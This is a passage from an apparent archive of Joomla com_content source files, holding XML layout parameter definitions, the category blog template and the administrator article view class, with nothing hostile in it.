					description="JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_category_title"
					type="list"
					label="JGLOBAL_SHOW_CATEGORY_TITLE"
					description="JGLOBAL_SHOW_CATEGORY_TITLE_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_description"
					type="list"
					label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
					description="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_description_image"
					type="list"
					label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
					description="JGLOBAL_SHOW_CATEGORY_IMAGE_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="maxLevel"
					type="list"
					label="JGLOBAL_MAXLEVEL_LABEL"
					description="JGLOBAL_MAXLEVEL_DESC"
					useglobal="true"
					>
					<option value="-1">JALL</option>
					<option value="0">JNONE</option>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
				</field>

				<field
					name="show_empty_categories"
					type="list"
					label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
					description="COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_no_articles"
					type="list"
					label="COM_CONTENT_NO_ARTICLES_LABEL"
					description="COM_CONTENT_NO_ARTICLES_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_subcat_desc"
					type="list"
					label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
					description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_cat_num_articles"
					type="list"
					label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
					description="COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_cat_tags"
					type="list"
					label="COM_CONTENT_FIELD_SHOW_CAT_TAGS_LABEL"
					description="COM_CONTENT_FIELD_SHOW_CAT_TAGS_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="page_subheading"
					type="text"
					label="JGLOBAL_SUBHEADING_LABEL"
					description="JGLOBAL_SUBHEADING_DESC"
					size="20"
				/>
		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_BLOG_LAYOUT_OPTIONS">
				<field
					name="bloglayout"
					type="spacer"
					label="JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL"
					class="text"
				/>

				<field
					name="num_leading_articles"
					type="number"
					label="JGLOBAL_NUM_LEADING_ARTICLES_LABEL"
					description="JGLOBAL_NUM_LEADING_ARTICLES_DESC"
					useglobal="true"
					size="3"
				/>

				<field
					name="num_intro_articles"
					type="number"
					label="JGLOBAL_NUM_INTRO_ARTICLES_LABEL"
					description="JGLOBAL_NUM_INTRO_ARTICLES_DESC"
					useglobal="true"
					size="3"
				/>

				<field
					name="num_columns"
					type="number"
					label="JGLOBAL_NUM_COLUMNS_LABEL"
					description="JGLOBAL_NUM_COLUMNS_DESC"
					useglobal="true"
					size="3"
				/>

				<field
					name="num_links"
					type="number"
					label="JGLOBAL_NUM_LINKS_LABEL"
					description="JGLOBAL_NUM_LINKS_DESC"
					useglobal="true"
					size="3"
				/>

				<field
					name="multi_column_order"
					type="list"
					label="JGLOBAL_MULTI_COLUMN_ORDER_LABEL"
					description="JGLOBAL_MULTI_COLUMN_ORDER_DESC"
					useglobal="true"
					>
					<option value="0">JGLOBAL_DOWN</option>
					<option value="1">JGLOBAL_ACROSS</option>
				</field>

				<field
					name="show_subcategory_content"
					type="list"
					label="JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL"
					description="JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC"
					useglobal="true"
					>
					<option value="0">JNONE</option>
					<option value="-1">JALL</option>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
				</field>

				<field
					name="spacer1"
					type="spacer"
					hr="true"
				/>

				<field
					name="orderby_pri"
					type="list"
					label="JGLOBAL_CATEGORY_ORDER_LABEL"
					description="JGLOBAL_CATEGORY_ORDER_DESC"
					useglobal="true"
					>
					<option value="none">JGLOBAL_NO_ORDER</option>
					<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
					<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
					<option value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
				</field>

				<field
					name="orderby_sec"
					type="list"
					label="JGLOBAL_ARTICLE_ORDER_LABEL"
					description="JGLOBAL_ARTICLE_ORDER_DESC"
					useglobal="true"
					>
					<option value="front">COM_CONTENT_FEATURED_ORDER</option>
					<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
					<option value="date">JGLOBAL_OLDEST_FIRST</option>
					<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
					<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
					<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
					<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
					<option value="hits">JGLOBAL_MOST_HITS</option>
					<option value="rhits">JGLOBAL_LEAST_HITS</option>
					<option value="random">JGLOBAL_RANDOM_ORDER</option>
					<option value="order">JGLOBAL_ORDERING</option>
					<option	value="rorder">JGLOBAL_REVERSE_ORDERING</option>
					<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
					<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
					<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
					<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
				</field>

				<field
					name="order_date"
					type="list"
					label="JGLOBAL_ORDERING_DATE_LABEL"
					description="JGLOBAL_ORDERING_DATE_DESC"
					useglobal="true"
					>
					<option value="created">JGLOBAL_CREATED</option>
					<option value="modified">JGLOBAL_MODIFIED</option>
					<option value="published">JPUBLISHED</option>
					<option value="unpublished">JUNPUBLISHED</option>
				</field>

				<field
					name="show_pagination"
					type="list"
					label="JGLOBAL_PAGINATION_LABEL"
					description="JGLOBAL_PAGINATION_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
					<option value="2">JGLOBAL_AUTO</option>
				</field>

				<field
					name="show_pagination_results"
					type="list"
					label="JGLOBAL_PAGINATION_RESULTS_LABEL"
					description="JGLOBAL_PAGINATION_RESULTS_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_featured"
					type="list"
					default=""
					label="JGLOBAL_SHOW_FEATURED_ARTICLES_LABEL"
					description="JGLOBAL_SHOW_FEATURED_ARTICLES_DESC"
					useglobal="true"
					class="chzn-color"
					>
					<option value="show">JSHOW</option>
					<option value="hide">JHIDE</option>
					<option value="only">JONLY</option>
				</field>
		</fieldset>

		<fieldset name="article" label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL">

			<field
				name="article_layout" type="componentlayout"
				label="JGLOBAL_FIELD_LAYOUT_LABEL"
				description="JGLOBAL_FIELD_LAYOUT_DESC"
				menuitems="true"
				extension="com_content"
				view="article"
			/>

			<field
				name="show_title"
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				description="JGLOBAL_SHOW_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				description="JGLOBAL_LINKED_TITLES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				description="JGLOBAL_SHOW_INTRO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				description="COM_CONTENT_FIELD_INFOBLOCK_POSITION_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				description="COM_CONTENT_FIELD_INFOBLOCK_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				description="JGLOBAL_LINK_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_PARENT_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_LINK_PARENT_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_associations"
				type="list"
				label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
				description="JGLOBAL_SHOW_ASSOCIATIONS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				description="JGLOBAL_SHOW_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				description="JGLOBAL_LINK_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				description="JGLOBAL_SHOW_CREATE_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				description="JGLOBAL_SHOW_MODIFY_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				description="JGLOBAL_SHOW_PUBLISH_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				description="JGLOBAL_SHOW_NAVIGATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_vote"
				type="list"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				description="JGLOBAL_SHOW_VOTE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore"
				type="list"
				label="JGLOBAL_SHOW_READMORE_LABEL"
				description="JGLOBAL_SHOW_READMORE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore_title"
				type="list"
				label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
				description="JGLOBAL_SHOW_READMORE_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_icons"
				type="list"
				label="JGLOBAL_SHOW_ICONS_LABEL"
				description="JGLOBAL_SHOW_ICONS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_print_icon"
				type="list"
				label="JGLOBAL_SHOW_PRINT_ICON_LABEL"
				description="JGLOBAL_SHOW_PRINT_ICON_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_icon"
				type="list"
				label="JGLOBAL_Show_Email_Icon_Label"
				description="JGLOBAL_Show_Email_Icon_Desc"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				description="JGLOBAL_SHOW_HITS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTENT_FIELD_SHOW_TAGS_LABEL"
				description="COM_CONTENT_FIELD_SHOW_TAGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
		</fieldset>

		<fieldset name="integration" label="COM_MENUS_INTEGRATION_FIELDSET_LABEL">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				description="JGLOBAL_SHOW_FEED_LINK_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_summary"
				type="list"
				label="JGLOBAL_FEED_SUMMARY_LABEL"
				description="JGLOBAL_FEED_SUMMARY_DESC"
				useglobal="true"
				>
				<option value="0">JGLOBAL_INTRO_TEXT</option>
				<option value="1">JGLOBAL_FULL_TEXT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
com_content/views/category/tmpl/blog.php000060400000013331152453734450014447 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

JHtml::_('behavior.caption');

$dispatcher = JEventDispatcher::getInstance();

$this->category->text = $this->category->description;
$dispatcher->trigger('onContentPrepare', array($this->category->extension . '.categories', &$this->category, &$this->params, 0));
$this->category->description = $this->category->text;

$results = $dispatcher->trigger('onContentAfterTitle', array($this->category->extension . '.categories', &$this->category, &$this->params, 0));
$afterDisplayTitle = trim(implode("\n", $results));

$results = $dispatcher->trigger('onContentBeforeDisplay', array($this->category->extension . '.categories', &$this->category, &$this->params, 0));
$beforeDisplayContent = trim(implode("\n", $results));

$results = $dispatcher->trigger('onContentAfterDisplay', array($this->category->extension . '.categories', &$this->category, &$this->params, 0));
$afterDisplayContent = trim(implode("\n", $results));

?>
<div class="blog<?php echo $this->pageclass_sfx; ?>" itemscope itemtype="https://schema.org/Blog">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1> <?php echo $this->escape($this->params->get('page_heading')); ?> </h1>
		</div>
	<?php endif; ?>

	<?php if ($this->params->get('show_category_title', 1) or $this->params->get('page_subheading')) : ?>
		<h2> <?php echo $this->escape($this->params->get('page_subheading')); ?>
			<?php if ($this->params->get('show_category_title')) : ?>
				<span class="subheading-category"><?php echo $this->category->title; ?></span>
			<?php endif; ?>
		</h2>
	<?php endif; ?>
	<?php echo $afterDisplayTitle; ?>

	<?php if ($this->params->get('show_cat_tags', 1) && !empty($this->category->tags->itemTags)) : ?>
		<?php $this->category->tagLayout = new JLayoutFile('joomla.content.tags'); ?>
		<?php echo $this->category->tagLayout->render($this->category->tags->itemTags); ?>
	<?php endif; ?>

	<?php if ($beforeDisplayContent || $afterDisplayContent || $this->params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
		<div class="category-desc clearfix">
			<?php if ($this->params->get('show_description_image') && $this->category->getParams()->get('image')) : ?>
				<img src="<?php echo $this->category->getParams()->get('image'); ?>" alt="<?php echo htmlspecialchars($this->category->getParams()->get('image_alt'), ENT_COMPAT, 'UTF-8'); ?>"/>
			<?php endif; ?>
			<?php echo $beforeDisplayContent; ?>
			<?php if ($this->params->get('show_description') && $this->category->description) : ?>
				<?php echo JHtml::_('content.prepare', $this->category->description, '', 'com_content.category'); ?>
			<?php endif; ?>
			<?php echo $afterDisplayContent; ?>
		</div>
	<?php endif; ?>

	<?php if (empty($this->lead_items) && empty($this->link_items) && empty($this->intro_items)) : ?>
		<?php if ($this->params->get('show_no_articles', 1)) : ?>
			<p><?php echo JText::_('COM_CONTENT_NO_ARTICLES'); ?></p>
		<?php endif; ?>
	<?php endif; ?>

	<?php $leadingcount = 0; ?>
	<?php if (!empty($this->lead_items)) : ?>
		<div class="items-leading clearfix">
			<?php foreach ($this->lead_items as &$item) : ?>
				<div class="leading-<?php echo $leadingcount; ?><?php echo $item->state == 0 ? ' system-unpublished' : null; ?>"
					itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
					<?php
					$this->item = &$item;
					echo $this->loadTemplate('item');
					?>
				</div>
				<?php $leadingcount++; ?>
			<?php endforeach; ?>
		</div><!-- end items-leading -->
	<?php endif; ?>

	<?php
	$introcount = count($this->intro_items);
	$counter = 0;
	?>

	<?php if (!empty($this->intro_items)) : ?>
		<?php foreach ($this->intro_items as $key => &$item) : ?>
			<?php $rowcount = ((int) $key % (int) $this->columns) + 1; ?>
			<?php if ($rowcount === 1) : ?>
				<?php $row = $counter / $this->columns; ?>
				<div class="items-row cols-<?php echo (int) $this->columns; ?> <?php echo 'row-' . $row; ?> row-fluid clearfix">
			<?php endif; ?>
			<div class="span<?php echo round(12 / $this->columns); ?>">
				<div class="item column-<?php echo $rowcount; ?><?php echo $item->state == 0 ? ' system-unpublished' : null; ?>"
					itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
					<?php
					$this->item = &$item;
					echo $this->loadTemplate('item');
					?>
				</div>
				<!-- end item -->
				<?php $counter++; ?>
			</div><!-- end span -->
			<?php if (($rowcount == $this->columns) or ($counter == $introcount)) : ?>
				</div><!-- end row -->
			<?php endif; ?>
		<?php endforeach; ?>
	<?php endif; ?>

	<?php if (!empty($this->link_items)) : ?>
		<div class="items-more">
			<?php echo $this->loadTemplate('links'); ?>
		</div>
	<?php endif; ?>

	<?php if ($this->maxLevel != 0 && !empty($this->children[$this->category->id])) : ?>
		<div class="cat-children">
			<?php if ($this->params->get('show_category_heading_title_text', 1) == 1) : ?>
				<h3> <?php echo JText::_('JGLOBAL_SUBCATEGORIES'); ?> </h3>
			<?php endif; ?>
			<?php echo $this->loadTemplate('children'); ?> </div>
	<?php endif; ?>
	<?php if (($this->params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->get('pages.total') > 1)) : ?>
		<div class="pagination">
			<?php if ($this->params->def('show_pagination_results', 1)) : ?>
				<p class="counter pull-right"> <?php echo $this->pagination->getPagesCounter(); ?> </p>
			<?php endif; ?>
			<?php echo $this->pagination->getPagesLinks(); ?> </div>
	<?php endif; ?>
</div>
com_content/views/article/view.html.php000060400000010651152453734450014275 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit an article.
 *
 * @since  1.6
 */
class ContentViewArticle extends JViewLegacy
{
	/**
	 * The JForm object
	 *
	 * @var  JForm
	 */
	protected $form;

	/**
	 * The active item
	 *
	 * @var  object
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * The actions the user is authorised to perform
	 *
	 * @var  JObject
	 */
	protected $canDo;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		if ($this->getLayout() == 'pagebreak')
		{
			return parent::display($tpl);
		}

		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');
		$this->canDo = JHelperContent::getActions('com_content', 'article', $this->item->id);

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// If we are forcing a language in modal (used for associations).
		if ($this->getLayout() === 'modal' && $forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'cmd'))
		{
			// Set the language field to the forcedLanguage and disable changing it.
			$this->form->setValue('language', null, $forcedLanguage);
			$this->form->setFieldAttribute('language', 'readonly', 'true');

			// Only allow to select categories with All language or with the forced language.
			$this->form->setFieldAttribute('catid', 'language', '*,' . $forcedLanguage);

			// Only allow to select tags with All language or with the forced language.
			$this->form->setFieldAttribute('tags', 'language', '*,' . $forcedLanguage);
		}

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);
		$user       = JFactory::getUser();
		$userId     = $user->id;
		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId);

		// Built the actions for new and existing records.
		$canDo = $this->canDo;

		JToolbarHelper::title(
			JText::_('COM_CONTENT_PAGE_' . ($checkedOut ? 'VIEW_ARTICLE' : ($isNew ? 'ADD_ARTICLE' : 'EDIT_ARTICLE'))),
			'pencil-2 article-add'
		);

		// For new records, check the create permission.
		if ($isNew && (count($user->getAuthorisedCategories('com_content', 'core.create')) > 0))
		{
			JToolbarHelper::apply('article.apply');
			JToolbarHelper::save('article.save');
			JToolbarHelper::save2new('article.save2new');
			JToolbarHelper::cancel('article.cancel');
		}
		else
		{
			// Since it's an existing record, check the edit permission, or fall back to edit own if the owner.
			$itemEditable = $canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by == $userId);

			// Can't save the record if it's checked out and editable
			if (!$checkedOut && $itemEditable)
			{
				JToolbarHelper::apply('article.apply');
				JToolbarHelper::save('article.save');

				// We can save this record, but check the create permission to see if we can return to make a new one.
				if ($canDo->get('core.create'))
				{
					JToolbarHelper::save2new('article.save2new');
				}
			}

			// If checked out, we can still save
			if ($canDo->get('core.create'))
			{
				JToolbarHelper::save2copy('article.save2copy');
			}

			if (JComponentHelper::isEnabled('com_contenthistory') && $this->state->params->get('save_history', 0) && $itemEditable)
			{
				JToolbarHelper::versions('com_content.article', $this->item->id);
			}

			if (JLanguageAssociations::isEnabled() && JComponentHelper::isEnabled('com_associations'))
			{
				JToolbarHelper::custom('article.editAssociations', 'contract', 'contract', 'JTOOLBAR_ASSOCIATIONS', false, false);
			}

			JToolbarHelper::cancel('article.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_CONTENT_ARTICLE_MANAGER_EDIT');
	}
}
com_content/views/article/tmpl/default.xml000060400000016540152453734450014774 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTENT_ARTICLE_VIEW_DEFAULT_TITLE" option="COM_CONTENT_ARTICLE_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_ARTICLE_SINGLE_ARTICLE"
		/>
		<message>
			<![CDATA[COM_CONTENT_ARTICLE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldpath="/administrator/components/com_content/models/fields">

			<field 
				name="id" 
				type="modal_article"
				label="COM_CONTENT_FIELD_SELECT_ARTICLE_LABEL"
				description="COM_CONTENT_FIELD_SELECT_ARTICLE_DESC"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic"
			label="COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL">

		<field
			name="show_title"
			type="list"
			label="JGLOBAL_SHOW_TITLE_LABEL"
			description="JGLOBAL_SHOW_TITLE_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="link_titles"
			type="list"
			label="JGLOBAL_LINKED_TITLES_LABEL"
			description="JGLOBAL_LINKED_TITLES_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field 
			name="show_intro" 
			type="list"
			label="JGLOBAL_SHOW_INTRO_LABEL"
			description="JGLOBAL_SHOW_INTRO_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="info_block_position"
			type="list"
			label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
			description="COM_CONTENT_FIELD_INFOBLOCK_POSITION_DESC"
			useglobal="true"
			>
			<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
			<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
			<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
		</field>

		<field
			name="info_block_show_title"
			type="list"
